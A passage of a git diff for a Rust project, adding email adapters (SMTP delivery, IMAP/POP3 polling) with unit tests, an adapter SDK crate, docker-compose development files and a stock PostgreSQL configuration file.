text.trim().to_string(); + if !text.is_empty() { + body.text = Some(text); + } + } + } + if part.ctype.mimetype.eq_ignore_ascii_case("text/html") && body.html.is_none() { + if let Ok(html) = part.get_body() { + let html = html.trim().to_string(); + if !html.is_empty() { + body.html = Some(html); + } + } + } + } + + if body.text.is_none() && body.html.is_none() && parsed.subparts.is_empty() { + if let Ok(text) = parsed.get_body() { + let text = text.trim().to_string(); + if !text.is_empty() { + body.text = Some(text); + } + } + } + + body +} + +fn extract_attachments( + parsed: &ParsedMail<'_>, +) -> Result, PipeAdapterError> { + let mut attachments = Vec::new(); + + for part in parsed.parts() { + if part.ctype.mimetype.starts_with("multipart/") { + continue; + } + let disposition = part.get_content_disposition(); + let filename = disposition + .params + .get("filename") + .cloned() + .or_else(|| part.ctype.params.get("name").cloned()); + if let Some(filename) = filename { + let raw = part.get_body_raw().map_err(|err| { + PipeAdapterError::Message(format!( + "mail adapter failed to decode attachment '{}': {}", + filename, err + )) + })?; + attachments.push(NormalizedMailAttachment { + file_name: Some(filename), + content_type: Some(part.ctype.mimetype.clone()), + size_bytes: Some(raw.len() as u64), + }); + } + } + + Ok(attachments) +} + +fn parse_mail_addresses( + parsed: &ParsedMail<'_>, + header_name: &str, +) -> Result, PipeAdapterError> { + let Some(header) = parsed + .headers + .iter() + .find(|header| header.get_key_ref().eq_ignore_ascii_case(header_name)) + else { + return Ok(Vec::new()); + }; + + let addresses = addrparse_header(header).map_err(|err| { + PipeAdapterError::Message(format!( + "mail adapter failed to parse '{}' header: {}", + header_name, err + )) + })?; + + Ok(addresses.iter().flat_map(flatten_mail_addr).collect()) +} + +fn flatten_mail_addr(address: &MailAddr) -> Vec { + match address { + MailAddr::Single(info) => vec![NormalizedMailAddress { + name: info + .display_name + .clone() + .filter(|name| !name.trim().is_empty()), + email: info.addr.clone(), + }], + MailAddr::Group(group) => group + .addrs + .iter() + .map(|info| NormalizedMailAddress { + name: info + .display_name + .clone() + .filter(|name| !name.trim().is_empty()), + email: info.addr.clone(), + }) + .collect(), + } +} + +fn build_smtp_message(request: &SmtpDeliveryRequest) -> Result { + let mut builder = Message::builder() + .from(parse_mailbox(&request.from)?) + .subject(request.subject.clone()); + + for recipient in &request.to { + builder = builder.to(parse_mailbox(recipient)?); + } + if let Some(reply_to) = &request.reply_to { + builder = builder.reply_to(parse_mailbox(reply_to)?); + } + + match (&request.body_text, &request.body_html) { + (Some(text), Some(html)) => builder + .multipart( + MultiPart::alternative() + .singlepart( + SinglePart::builder() + .header(ContentType::TEXT_PLAIN) + .body(text.clone()), + ) + .singlepart( + SinglePart::builder() + .header(ContentType::TEXT_HTML) + .body(html.clone()), + ), + ) + .map_err(|err| { + PipeAdapterError::Message(format!("failed to build smtp message: {}", err)) + }), + (Some(text), None) => builder + .singlepart( + SinglePart::builder() + .header(ContentType::TEXT_PLAIN) + .body(text.clone()), + ) + .map_err(|err| { + PipeAdapterError::Message(format!("failed to build smtp message: {}", err)) + }), + (None, Some(html)) => builder + .singlepart( + SinglePart::builder() + .header(ContentType::TEXT_HTML) + .body(html.clone()), + ) + .map_err(|err| { + PipeAdapterError::Message(format!("failed to build smtp message: {}", err)) + }), + (None, None) => Err(PipeAdapterError::Message( + "smtp adapter requires body_text or body_html content".to_string(), + )), + } +} + +fn parse_mailbox(raw: &str) -> Result { + raw.parse().map_err(|err| { + PipeAdapterError::Message(format!("invalid email address '{}': {}", raw, err)) + }) +} + +#[cfg(test)] +mod tests { + use super::*; + use std::sync::{Arc, Mutex}; + + #[derive(Clone, Default)] + struct FakeSmtpClient { + requests: Arc>>, + } + + #[derive(Clone, Default)] + struct FakeMailSourceClient { + imap_messages: Arc>>, + pop3_messages: Arc>>, + } + + #[async_trait] + impl SmtpClient for FakeSmtpClient { + async fn send( + &self, + request: &SmtpDeliveryRequest, + ) -> Result { + self.requests.lock().unwrap().push(request.clone()); + Ok(SmtpDeliveryReceipt { + message_id: Some("msg-123".to_string()), + accepted_recipients: request.to.len(), + }) + } + } + + #[async_trait] + impl MailSourceClient for FakeMailSourceClient { + async fn poll_imap( + &self, + _request: &MailSourceRequest, + ) -> Result, PipeAdapterError> { + Ok(self + .imap_messages + .lock() + .expect("imap messages lock") + .clone()) + } + + async fn poll_pop3( + &self, + _request: &MailSourceRequest, + ) -> Result, PipeAdapterError> { + Ok(self + .pop3_messages + .lock() + .expect("pop3 messages lock") + .clone()) + } + } + + #[tokio::test] + async fn smtp_target_adapter_delivers_json_payload_with_fake_client() { + let client = FakeSmtpClient::default(); + let adapter = SmtpTargetAdapter::with_client( + PipeAdapterReference::new("smtp").with_config(json!({ + "host": "smtp.example.com", + "port": 2525, + "from": "noreply@example.com", + "to": ["alerts@example.com"], + "tls": false + })), + client.clone(), + ) + .expect("adapter config should parse"); + + let response = adapter + .deliver(PipeAdapterPayload::Json(json!({ + "subject": "Deployment ready", + "body_text": "The deployment completed successfully" + }))) + .await + .expect("smtp delivery should succeed"); + + let requests = client.requests.lock().unwrap(); + assert_eq!(requests.len(), 1); + assert_eq!(requests[0].host, "smtp.example.com"); + assert_eq!(requests[0].port, 2525); + assert_eq!(requests[0].to, vec!["alerts@example.com".to_string()]); + assert_eq!(requests[0].from, "noreply@example.com"); + assert_eq!(response["transport"], "smtp"); + assert_eq!(response["adapter"], "smtp"); + assert_eq!(response["delivered"], true); + assert_eq!(response["body"]["accepted_recipients"], 1); + } + + #[tokio::test] + async fn smtp_target_adapter_requires_recipient_before_delivery() { + let adapter = SmtpTargetAdapter::with_client( + PipeAdapterReference::new("smtp").with_config(json!({ + "host": "smtp.example.com", + "from": "noreply@example.com" + })), + FakeSmtpClient::default(), + ) + .expect("adapter config should parse"); + + let error = adapter + .deliver(PipeAdapterPayload::Json(json!({ + "subject": "Deployment ready", + "body_text": "The deployment completed successfully" + }))) + .await + .expect_err("delivery should fail without recipients"); + + assert!(error + .to_string() + .contains("smtp adapter requires at least one recipient address")); + } + + #[tokio::test] + async fn imap_source_adapter_polls_normalized_mail_dispatches() { + let client = FakeMailSourceClient { + imap_messages: Arc::new(Mutex::new(vec![NormalizedMailMessage { + subject: Some("Incident opened".to_string()), + mailbox: Some("INBOX".to_string()), + body: pipe_adapter_sdk::NormalizedMailBody { + text: Some("CPU usage exceeded threshold".to_string()), + html: None, + }, + ..Default::default() + }])), + pop3_messages: Arc::new(Mutex::new(Vec::new())), + }; + let adapter = ImapSourceAdapter::with_client( + PipeAdapterReference::new("imap").with_config(json!({ + "host": "imap.example.com", + "username": "alerts@example.com", + "password": "secret", + "mailbox": "INBOX" + })), + client, + ) + .expect("imap adapter config should parse"); + + let dispatches = adapter.poll().await.expect("imap poll should succeed"); + + assert_eq!(dispatches.len(), 1); + assert_eq!(dispatches[0].adapter.code, "imap"); + assert_eq!( + dispatches[0].payload, + PipeAdapterPayload::MailMessage(Box::new(NormalizedMailMessage { + subject: Some("Incident opened".to_string()), + mailbox: Some("INBOX".to_string()), + body: pipe_adapter_sdk::NormalizedMailBody { + text: Some("CPU usage exceeded threshold".to_string()), + html: None, + }, + ..Default::default() + })) + ); + } + + #[tokio::test] + async fn pop3_source_adapter_polls_normalized_mail_dispatches() { + let client = FakeMailSourceClient { + imap_messages: Arc::new(Mutex::new(Vec::new())), + pop3_messages: Arc::new(Mutex::new(vec![NormalizedMailMessage { + subject: Some("Welcome".to_string()), + body: pipe_adapter_sdk::NormalizedMailBody { + text: Some("hello".to_string()), + html: None, + }, + ..Default::default() + }])), + }; + let adapter = Pop3SourceAdapter::with_client( + PipeAdapterReference::new("pop3").with_config(json!({ + "host": "pop3.example.com", + "username": "alerts@example.com", + "password": "secret" + })), + client, + ) + .expect("pop3 adapter config should parse"); + + let dispatches = adapter.poll().await.expect("pop3 poll should succeed"); + + assert_eq!(dispatches.len(), 1); + assert_eq!(dispatches[0].adapter.code, "pop3"); + assert_eq!( + dispatches[0].payload, + PipeAdapterPayload::MailMessage(Box::new(NormalizedMailMessage { + subject: Some("Welcome".to_string()), + body: pipe_adapter_sdk::NormalizedMailBody { + text: Some("hello".to_string()), + html: None, + }, + ..Default::default() + })) + ); + } +} diff --git a/stacker/stacker/crates/pipe-adapter-sdk/Cargo.toml b/stacker/stacker/crates/pipe-adapter-sdk/Cargo.toml new file mode 100644 index 0000000..1c8fd99 --- /dev/null +++ b/stacker/stacker/crates/pipe-adapter-sdk/Cargo.toml @@ -0,0 +1,10 @@ +[package] +name = "pipe-adapter-sdk" +version = "0.1.0" +edition = "2021" + +[dependencies] +async-trait = "0.1" +serde = { version = "1", features = ["derive"] } +serde_json = "1" +thiserror = "1" diff --git a/stacker/stacker/crates/pipe-adapter-sdk/src/lib.rs b/stacker/stacker/crates/pipe-adapter-sdk/src/lib.rs new file mode 100644 index 0000000..f725a96 --- /dev/null +++ b/stacker/stacker/crates/pipe-adapter-sdk/src/lib.rs @@ -0,0 +1,298 @@ +use async_trait::async_trait; +use serde::{Deserialize, Serialize}; +use std::collections::BTreeMap; + +#[derive(Debug, Clone, Copy, Serialize, Deserialize, PartialEq, Eq, Hash)] +#[serde(rename_all = "snake_case")] +pub enum PipeAdapterRole { + Source, + Target, +} + +#[derive(Debug, Clone, Copy, Serialize, Deserialize, PartialEq, Eq, Hash)] +#[serde(rename_all = "snake_case")] +pub enum PipeAdapterKind { + HttpEndpoint, + HtmlForm, + WebhookBridge, + SmtpTarget, + Pop3Source, + ImapSource, +} + +#[derive(Debug, Clone, Serialize, Deserialize, PartialEq)] +pub struct PipeAdapterReference { + pub code: String, + #[serde(default, skip_serializing_if = "Option::is_none")] + pub role: Option, + #[serde(default, skip_serializing_if = "Option::is_none")] + pub config: Option, +} + +impl PipeAdapterReference { + pub fn new(code: impl Into) -> Self { + Self { + code: normalize_adapter_code(&code.into()), + role: None, + config: None, + } + } + + pub fn with_role(mut self, role: PipeAdapterRole) -> Self { + self.role = Some(role); + self + } + + pub fn with_config(mut self, config: serde_json::Value) -> Self { + self.config = Some(config); + self + } +} + +#[derive(Debug, Clone, Serialize, Deserialize, PartialEq, Eq)] +pub struct PipeAdapterMetadata { + pub code: String, + pub display_name: String, + pub description: String, + pub kind: PipeAdapterKind, + pub roles: Vec, +} + +impl PipeAdapterMetadata { + pub fn supports_role(&self, role: PipeAdapterRole) -> bool { + self.roles.contains(&role) + } +} + +#[derive(Debug, Clone, Serialize, Deserialize, PartialEq, Eq, Default)] +pub struct NormalizedMailAddress { + #[serde(default, skip_serializing_if = "Option::is_none")] + pub name: Option, + pub email: String, +} + +#[derive(Debug, Clone, Serialize, Deserialize, PartialEq, Eq, Default)] +pub struct NormalizedMailBody { + #[serde(default, skip_serializing_if = "Option::is_none")] + pub text: Option, + #[serde(default, skip_serializing_if = "Option::is_none")] + pub html: Option, +} + +#[derive(Debug, Clone, Serialize, Deserialize, PartialEq, Eq, Default)] +pub struct NormalizedMailAttachment { + #[serde(default, skip_serializing_if = "Option::is_none")] + pub file_name: Option, + #[serde(default, skip_serializing_if = "Option::is_none")] + pub content_type: Option, + #[serde(default, skip_serializing_if = "Option::is_none")] + pub size_bytes: Option, +} + +#[derive(Debug, Clone, Serialize, Deserialize, PartialEq, Default)] +pub struct NormalizedMailMessage { + #[serde(default, skip_serializing_if = "Option::is_none")] + pub message_id: Option, + #[serde(default, skip_serializing_if = "Option::is_none")] + pub cursor: Option, + #[serde(default, skip_serializing_if = "Option::is_none")] + pub mailbox: Option, + #[serde(default, skip_serializing_if = "Option::is_none")] + pub subject: Option, + #[serde(default, skip_serializing_if = "Option::is_none")] + pub sent_at: Option, + #[serde(default, skip_serializing_if = "Option::is_none")] + pub received_at: Option, + #[serde(default)] + pub from: Vec, + #[serde(default)] + pub to: Vec, + #[serde(default)] + pub cc: Vec, + #[serde(default)] + pub bcc: Vec, + #[serde(default)] + pub headers: BTreeMap, + #[serde(default)] + pub body: NormalizedMailBody, + #[serde(default)] + pub attachments: Vec, +} + +#[derive(Debug, Clone, Serialize, Deserialize, PartialEq)] +#[serde(rename_all = "snake_case")] +pub enum PipeAdapterPayload { + Json(serde_json::Value), + MailMessage(Box), +} + +#[derive(Debug, Clone, Serialize, Deserialize, PartialEq)] +pub struct PipeAdapterDispatch { + pub adapter: PipeAdapterReference, + pub payload: PipeAdapterPayload, +} + +#[derive(Debug, Clone, thiserror::Error)] +pub enum PipeAdapterError { + #[error("{0}")] + Message(String), +} + +#[async_trait] +pub trait PipeSourceAdapter: Send + Sync { + fn metadata(&self) -> &PipeAdapterMetadata; + + async fn poll(&self) -> Result, PipeAdapterError>; +} + +#[async_trait] +pub trait PipeTargetAdapter: Send + Sync { + fn metadata(&self) -> &PipeAdapterMetadata; + + async fn deliver( + &self, + payload: PipeAdapterPayload, + ) -> Result; +} + +pub trait PipeAdapterCatalog: Send + Sync { + fn adapters(&self) -> Vec; + fn find(&self, code: &str) -> Option; +} + +#[derive(Debug, Clone, Default)] +pub struct InMemoryPipeAdapterRegistry { + adapters: BTreeMap, +} + +impl InMemoryPipeAdapterRegistry { + pub fn new() -> Self { + Self::default() + } + + pub fn register(&mut self, metadata: PipeAdapterMetadata) { + self.adapters + .insert(normalize_adapter_code(&metadata.code), metadata); + } +} + +impl PipeAdapterCatalog for InMemoryPipeAdapterRegistry { + fn adapters(&self) -> Vec { + self.adapters.values().cloned().collect() + } + + fn find(&self, code: &str) -> Option { + self.adapters.get(&normalize_adapter_code(code)).cloned() + } +} + +pub fn normalize_adapter_code(code: &str) -> String { + code.trim().to_ascii_lowercase() +} + +pub fn builtin_registry() -> InMemoryPipeAdapterRegistry { + let mut registry = InMemoryPipeAdapterRegistry::new(); + for metadata in [ + PipeAdapterMetadata { + code: "webhook".to_string(), + display_name: "Webhook bridge".to_string(), + description: "Generic HTTP webhook target adapter".to_string(), + kind: PipeAdapterKind::WebhookBridge, + roles: vec![PipeAdapterRole::Target], + }, + PipeAdapterMetadata { + code: "smtp".to_string(), + display_name: "SMTP target".to_string(), + description: "Outbound SMTP delivery target adapter".to_string(), + kind: PipeAdapterKind::SmtpTarget, + roles: vec![PipeAdapterRole::Target], + }, + PipeAdapterMetadata { + code: "pop3".to_string(), + display_name: "POP3 source".to_string(), + description: "Inbound POP3 mailbox polling source adapter".to_string(), + kind: PipeAdapterKind::Pop3Source, + roles: vec![PipeAdapterRole::Source], + }, + PipeAdapterMetadata { + code: "imap".to_string(), + display_name: "IMAP source".to_string(), + description: "Inbound IMAP mailbox polling source adapter".to_string(), + kind: PipeAdapterKind::ImapSource, + roles: vec![PipeAdapterRole::Source], + }, + PipeAdapterMetadata { + code: "mailhog".to_string(), + display_name: "MailHog SMTP target".to_string(), + description: "SMTP-compatible target alias for MailHog-style services".to_string(), + kind: PipeAdapterKind::SmtpTarget, + roles: vec![PipeAdapterRole::Target], + }, + ] { + registry.register(metadata); + } + registry +} + +pub fn builtin_adapter_kind(code: &str) -> Option { + builtin_registry().find(code).map(|metadata| metadata.kind) +} + +pub fn selector_matches_builtin_kind(selector: &str, kind: PipeAdapterKind) -> bool { + let canonical = normalize_adapter_code(selector); + if builtin_adapter_kind(&canonical) == Some(kind) { + return true; + } + + selector + .split(|ch: char| !ch.is_ascii_alphanumeric()) + .filter(|token| !token.is_empty()) + .map(normalize_adapter_code) + .any(|token| builtin_adapter_kind(&token) == Some(kind)) +} + +#[cfg(test)] +mod tests { + use super::*; + + #[test] + fn builtin_registry_exposes_first_party_adapters() { + let registry = builtin_registry(); + + assert_eq!( + registry.find("smtp").map(|metadata| metadata.kind), + Some(PipeAdapterKind::SmtpTarget) + ); + assert_eq!( + registry.find("imap").map(|metadata| metadata.kind), + Some(PipeAdapterKind::ImapSource) + ); + } + + #[test] + fn selector_matching_detects_mail_aliases() { + assert!(selector_matches_builtin_kind( + "smtp", + PipeAdapterKind::SmtpTarget + )); + assert!(selector_matches_builtin_kind( + "mailhog", + PipeAdapterKind::SmtpTarget + )); + assert!(selector_matches_builtin_kind( + "status-mailhog-1", + PipeAdapterKind::SmtpTarget + )); + assert!(!selector_matches_builtin_kind( + "status-panel-web", + PipeAdapterKind::SmtpTarget + )); + } + + #[test] + fn adapter_reference_normalizes_codes() { + let reference = PipeAdapterReference::new(" SMTP "); + + assert_eq!(reference.code, "smtp"); + } +} diff --git a/stacker/stacker/docker-compose.dev.yml b/stacker/stacker/docker-compose.dev.yml new file mode 100644 index 0000000..7eef27e --- /dev/null +++ b/stacker/stacker/docker-compose.dev.yml @@ -0,0 +1,115 @@ +version: "2.2" + +volumes: + stackerdb: + driver: local + + redis-data: + driver: local + +networks: + stacker-network: + driver: bridge + # Connect to the main TryDirect network for RabbitMQ access + trydirect-network: + external: true + name: try.direct_default + +services: + stacker: + image: trydirect/stacker:0.0.9 + container_name: stacker-dev + restart: always + networks: + - stacker-network + - trydirect-network + volumes: + # Mount local compiled binary for fast iteration + - ./target/debug/server:/app/server:ro + # Project configuration and assets + - ./files:/app/files + - ./docker/local/configuration.yaml:/app/configuration.yaml + - ./access_control.conf:/app/access_control.conf + - ./migrations:/app/migrations + - ./docker/local/.env:/app/.env + ports: + - "8000:8000" + env_file: + - ./docker/local/.env + environment: + - RUST_LOG=debug + - RUST_BACKTRACE=1 + # Vault — must point to the real Vault service in the TryDirect network + - VAULT_ADDRESS=https://vault.try.direct + - VAULT_TOKEN=${STACKER_VAULT_TOKEN:-change-me} + depends_on: + stackerdb: + condition: service_healthy + entrypoint: ["/app/server"] + + # MQ Listener - Consumes deployment progress messages from Install Service + # and updates deployment status in Stacker database + stacker-mq-listener: + image: trydirect/stacker:0.0.9 + container_name: stacker-mq-listener-dev + restart: always + networks: + - stacker-network + - trydirect-network + volumes: + # Mount local compiled console binary for fast iteration + - ./target/debug/console:/app/console:ro + # Project configuration and assets + - ./docker/local/configuration.yaml:/app/configuration.yaml + - ./docker/local/.env:/app/.env + env_file: + - ./docker/local/.env + environment: + - RUST_LOG=info,stacker=debug + - RUST_BACKTRACE=1 + # Override AMQP host to connect to main TryDirect RabbitMQ + - AMQP_HOST=mq + depends_on: + stackerdb: + condition: service_healthy + entrypoint: ["/app/console", "mq", "listen"] + + redis: + container_name: redis-dev + image: redis + restart: always + networks: + - stacker-network + ports: + - 6379:6379 + volumes: + - redis-data:/data + sysctls: + net.core.somaxconn: 1024 + logging: + driver: "json-file" + options: + max-size: "10m" + tag: "container_{{.Name}}" + + stackerdb: + container_name: stackerdb-dev + networks: + - stacker-network + healthcheck: + test: ["CMD-SHELL", "pg_isready -U postgres"] + interval: 10s + timeout: 5s + retries: 5 + build: + context: ./stackerdb + dockerfile: Dockerfile + image: trydirect/stackerdb:18.3-pgcron + restart: always + ports: + - 5432:5432 + env_file: + - ./docker/local/.env + volumes: + - stackerdb:/var/lib/postgresql/data + - ./docker/local/postgresql.conf:/etc/postgresql/postgresql.conf diff --git a/stacker/stacker/docker-compose.yml b/stacker/stacker/docker-compose.yml new file mode 100644 index 0000000..c83361d --- /dev/null +++ b/stacker/stacker/docker-compose.yml @@ -0,0 +1,69 @@ +version: "2.2" + +volumes: + stackerdb: + driver: local + + redis-data: + driver: local + +services: + + stacker: + image: trydirect/stacker:test + build: . + container_name: stacker + restart: always + volumes: + - ./files:/app/files + - ./docker/local/configuration.yaml:/app/configuration.yaml + - ./access_control.conf:/app/access_control.conf + - ./migrations:/app/migrations + - ./docker/local/.env:/app/.env + ports: + - "8000:8000" + env_file: + - ./docker/local/.env + environment: + - RUST_LOG=debug + - RUST_BACKTRACE=1 + depends_on: + stackerdb: + condition: service_healthy + + + redis: + container_name: redis + image: redis + restart: always + ports: + - 6379:6379 + volumes: + - redis-data:/data +# - ./redis/rc.local:/etc/rc.local +# - ./redis/redis.conf:/usr/local/etc/redis/redis.conf + sysctls: + net.core.somaxconn: 1024 + logging: + driver: "json-file" + options: + max-size: "10m" + tag: "container_{{.Name}}" + + + stackerdb: + container_name: stackerdb + healthcheck: + test: ["CMD-SHELL", "pg_isready -U postgres"] + interval: 10s + timeout: 5s + retries: 5 + image: postgres:18.3 + restart: always + ports: + - 5432:5432 + env_file: + - ./docker/local/.env + volumes: + - stackerdb:/var/lib/postgresql + - ./docker/local/postgresql.conf:/etc/postgresql/postgresql.conf \ No newline at end of file diff --git a/stacker/stacker/docker/dev/docker-compose.yml b/stacker/stacker/docker/dev/docker-compose.yml new file mode 100644 index 0000000..ea7ee0d --- /dev/null +++ b/stacker/stacker/docker/dev/docker-compose.yml @@ -0,0 +1,109 @@ +version: "2.2" + +volumes: + stackerdb: + driver: local + + stacker-redis-data: + driver: local + +networks: + backend: + driver: bridge + name: backend + external: true + trydirect-network: + external: true + name: trydirect-network + + +services: + + stacker: + image: trydirect/stacker:0.0.8 + build: . + container_name: stacker + restart: always + volumes: + - ./stacker/files:/app/files + - ./configuration.yaml:/app/configuration.yaml + - ./access_control.conf:/app/access_control.conf + - ./migrations:/app/migrations + - ./.env:/app/.env + ports: + - "8000:8000" + env_file: + - ./.env + environment: + - RUST_LOG=debug + - RUST_BACKTRACE=full + depends_on: + stackerdb: + condition: service_healthy + networks: + - backend + + + stacker_queue: + image: trydirect/stacker:0.0.7 + container_name: stacker_queue + restart: always + volumes: + - ./configuration.yaml:/app/configuration.yaml + - ./.env:/app/.env + environment: + - RUST_LOG=debug + - RUST_BACKTRACE=1 + - AMQP_HOST=rabbitmq + - AMQP_PORT=5672 + - AMQP_USERNAME=guest + - AMQP_PASSWORD=guest + env_file: + - ./.env + depends_on: + stackerdb: + condition: service_healthy + entrypoint: /app/console mq listen + networks: + - backend + - trydirect-network + + + stackerdb: + container_name: stackerdb + healthcheck: + test: ["CMD-SHELL", "pg_isready -U postgres"] + interval: 10s + timeout: 5s + retries: 5 + image: postgres:18.3 + restart: always + ports: + - 5432 + env_file: + - ./.env + volumes: + - stackerdb:/var/lib/postgresql/data + - ./postgresql.conf:/etc/postgresql/postgresql.conf + networks: + - backend + + stackerredis: + container_name: stackerredis + image: redis:latest + restart: always + ports: + - 127.0.0.1:6379:6379 + volumes: + - stacker-redis-data:/data + # - ./redis/rc.local:/etc/rc.local + # - ./redis/redis.conf:/usr/local/etc/redis/redis.conf + sysctls: + net.core.somaxconn: 1024 + logging: + driver: "json-file" + options: + max-size: "10m" + tag: "container_{{.Name}}" + + diff --git a/stacker/stacker/docker/dev/postgresql.conf b/stacker/stacker/docker/dev/postgresql.conf new file mode 100644 index 0000000..4e89674 --- /dev/null +++ b/stacker/stacker/docker/dev/postgresql.conf @@ -0,0 +1,798 @@ +# ----------------------------- +# PostgreSQL configuration file +# ----------------------------- +# +# This file consists of lines of the form: +# +# name = value +# +# (The "=" is optional.) Whitespace may be used. Comments are introduced with +# "#" anywhere on a line. The complete list of parameter names and allowed +# values can be found in the PostgreSQL documentation. +# +# The commented-out settings shown in this file represent the default values. +# Re-commenting a setting is NOT sufficient to revert it to the default value; +# you need to reload the server. +# +# This file is read on server startup and when the server receives a SIGHUP +# signal. If you edit the file on a running system, you have to SIGHUP the +# server for the changes to take effect, run "pg_ctl reload", or execute +# "SELECT pg_reload_conf()". Some parameters, which are marked below, +# require a server shutdown and restart to take effect. +# +# Any parameter can also be given as a command-line option to the server, e.g., +# "postgres -c log_connections=on". Some parameters can be changed at run time +# with the "SET" SQL command. +# +# Memory units: B = bytes Time units: us = microseconds +# kB = kilobytes ms = milliseconds +# MB = megabytes s = seconds +# GB = gigabytes min = minutes +# TB = terabytes h = hours +# d = days + + +#------------------------------------------------------------------------------ +# FILE LOCATIONS +#------------------------------------------------------------------------------ + +# The default values of these variables are driven from the -D command-line +# option or PGDATA environment variable, represented here as ConfigDir. + +#data_directory = 'ConfigDir' # use data in another directory + # (change requires restart) +#hba_file = 'ConfigDir/pg_hba.conf' # host-based authentication file + # (change requires restart) +#ident_file = 'ConfigDir/pg_ident.conf' # ident configuration file + # (change requires restart) + +# If external_pid_file is not explicitly set, no extra PID file is written. +#external_pid_file = '' # write an extra PID file + # (change requires restart) + + +#------------------------------------------------------------------------------ +# CONNECTIONS AND AUTHENTICATION +#------------------------------------------------------------------------------ + +# - Connection Settings - + +listen_addresses = '*' + # comma-separated list of addresses; + # defaults to 'localhost'; use '*' for all + # (change requires restart) +#port = 5432 # (change requires restart) +#max_connections = 100 # (change requires restart) +#superuser_reserved_connections = 3 # (change requires restart) +#unix_socket_directories = '/tmp' # comma-separated list of directories + # (change requires restart) +#unix_socket_group = '' # (change requires restart) +#unix_socket_permissions = 0777 # begin with 0 to use octal notation + # (change requires restart) +#bonjour = off # advertise server via Bonjour + # (change requires restart) +#bonjour_name = '' # defaults to the computer name + # (change requires restart) + +# - TCP settings - +# see "man tcp" for details + +#tcp_keepalives_idle = 0 # TCP_KEEPIDLE, in seconds; + # 0 selects the system default +#tcp_keepalives_interval = 0 # TCP_KEEPINTVL, in seconds; + # 0 selects the system default +#tcp_keepalives_count = 0 # TCP_KEEPCNT; + # 0 selects the system default +#tcp_user_timeout = 0 # TCP_USER_TIMEOUT, in milliseconds; + # 0 selects the system default + +#client_connection_check_interval = 0 # time between checks for client + # disconnection while running queries; + # 0 for never + +# - Authentication - + +#authentication_timeout = 1min # 1s-600s +#password_encryption = scram-sha-256 # scram-sha-256 or md5 +#db_user_namespace = off + +# GSSAPI using Kerberos +#krb_server_keyfile = 'FILE:${sysconfdir}/krb5.keytab' +#krb_caseins_users = off + +# - SSL - + +#ssl = off +#ssl_ca_file = '' +#ssl_cert_file = 'server.crt' +#ssl_crl_file = '' +#ssl_crl_dir = '' +#ssl_key_file = 'server.key' +#ssl_ciphers = 'HIGH:MEDIUM:+3DES:!aNULL' # allowed SSL ciphers +#ssl_prefer_server_ciphers = on +#ssl_ecdh_curve = 'prime256v1' +#ssl_min_protocol_version = 'TLSv1.2' +#ssl_max_protocol_version = '' +#ssl_dh_params_file = '' +#ssl_passphrase_command = '' +#ssl_passphrase_command_supports_reload = off + + +#------------------------------------------------------------------------------ +# RESOURCE USAGE (except WAL) +#------------------------------------------------------------------------------ + +# - Memory - + +#shared_buffers = 32MB # min 128kB + # (change requires restart) +#huge_pages = try # on, off, or try + # (change requires restart) +#huge_page_size = 0 # zero for system default + # (change requires restart) +#temp_buffers = 8MB # min 800kB +#max_prepared_transactions = 0 # zero disables the feature + # (change requires restart) +# Caution: it is not advisable to set max_prepared_transactions nonzero unless +# you actively intend to use prepared transactions. +#work_mem = 4MB # min 64kB +#hash_mem_multiplier = 1.0 # 1-1000.0 multiplier on hash table work_mem +#maintenance_work_mem = 64MB # min 1MB +#autovacuum_work_mem = -1 # min 1MB, or -1 to use maintenance_work_mem +#logical_decoding_work_mem = 64MB # min 64kB +#max_stack_depth = 2MB # min 100kB +#shared_memory_type = mmap # the default is the first option + # supported by the operating system: + # mmap + # sysv + # windows + # (change requires restart) +#dynamic_shared_memory_type = posix # the default is the first option + # supported by the operating system: + # posix + # sysv + # windows + # mmap + # (change requires restart) +#min_dynamic_shared_memory = 0MB # (change requires restart) + +# - Disk - + +#temp_file_limit = -1 # limits per-process temp file space + # in kilobytes, or -1 for no limit + +# - Kernel Resources - + +#max_files_per_process = 1000 # min 64 + # (change requires restart) + +# - Cost-Based Vacuum Delay - + +#vacuum_cost_delay = 0 # 0-100 milliseconds (0 disables) +#vacuum_cost_page_hit = 1 # 0-10000 credits +#vacuum_cost_page_miss = 2 # 0-10000 credits +#vacuum_cost_page_dirty = 20 # 0-10000 credits +#vacuum_cost_limit = 200 # 1-10000 credits + +# - Background Writer - + +#bgwriter_delay = 200ms # 10-10000ms between rounds +#bgwriter_lru_maxpages = 100 # max buffers written/round, 0 disables +#bgwriter_lru_multiplier = 2.0 # 0-10.0 multiplier on buffers scanned/round +#bgwriter_flush_after = 0 # measured in pages, 0 disables + +# - Asynchronous Behavior - + +#backend_flush_after = 0 # measured in pages, 0 disables +#effective_io_concurrency = 1 # 1-1000; 0 disables prefetching +#maintenance_io_concurrency = 10 # 1-1000; 0 disables prefetching +#max_worker_processes = 8 # (change requires restart) +#max_parallel_workers_per_gather = 2 # taken from max_parallel_workers +#max_parallel_maintenance_workers = 2 # taken from max_parallel_workers +#max_parallel_workers = 8 # maximum number of max_worker_processes that + # can be used in parallel operations +#parallel_leader_participation = on +#old_snapshot_threshold = -1 # 1min-60d; -1 disables; 0 is immediate + # (change requires restart) + + +#------------------------------------------------------------------------------ +# WRITE-AHEAD LOG +#------------------------------------------------------------------------------ + +# - Settings - + +#wal_level = replica # minimal, replica, or logical + # (change requires restart) +#fsync = on # flush data to disk for crash safety + # (turning this off can cause + # unrecoverable data corruption) +#synchronous_commit = on # synchronization level; + # off, local, remote_write, remote_apply, or on +#wal_sync_method = fsync # the default is the first option + # supported by the operating system: + # open_datasync + # fdatasync (default on Linux and FreeBSD) + # fsync + # fsync_writethrough + # open_sync +#full_page_writes = on # recover from partial page writes +#wal_log_hints = off # also do full page writes of non-critical updates + # (change requires restart) +#wal_compression = off # enable compression of full-page writes +#wal_init_zero = on # zero-fill new WAL files +#wal_recycle = on # recycle WAL files +#wal_buffers = -1 # min 32kB, -1 sets based on shared_buffers + # (change requires restart) +#wal_writer_delay = 200ms # 1-10000 milliseconds +#wal_writer_flush_after = 1MB # measured in pages, 0 disables +#wal_skip_threshold = 2MB + +#commit_delay = 0 # range 0-100000, in microseconds +#commit_siblings = 5 # range 1-1000 + +# - Checkpoints - + +#checkpoint_timeout = 5min # range 30s-1d +#checkpoint_completion_target = 0.9 # checkpoint target duration, 0.0 - 1.0 +#checkpoint_flush_after = 0 # measured in pages, 0 disables +#checkpoint_warning = 30s # 0 disables +#max_wal_size = 1GB +#min_wal_size = 80MB + +# - Archiving - + +#archive_mode = off # enables archiving; off, on, or always + # (change requires restart) +#archive_command = '' # command to use to archive a logfile segment + # placeholders: %p = path of file to archive + # %f = file name only + # e.g. 'test ! -f 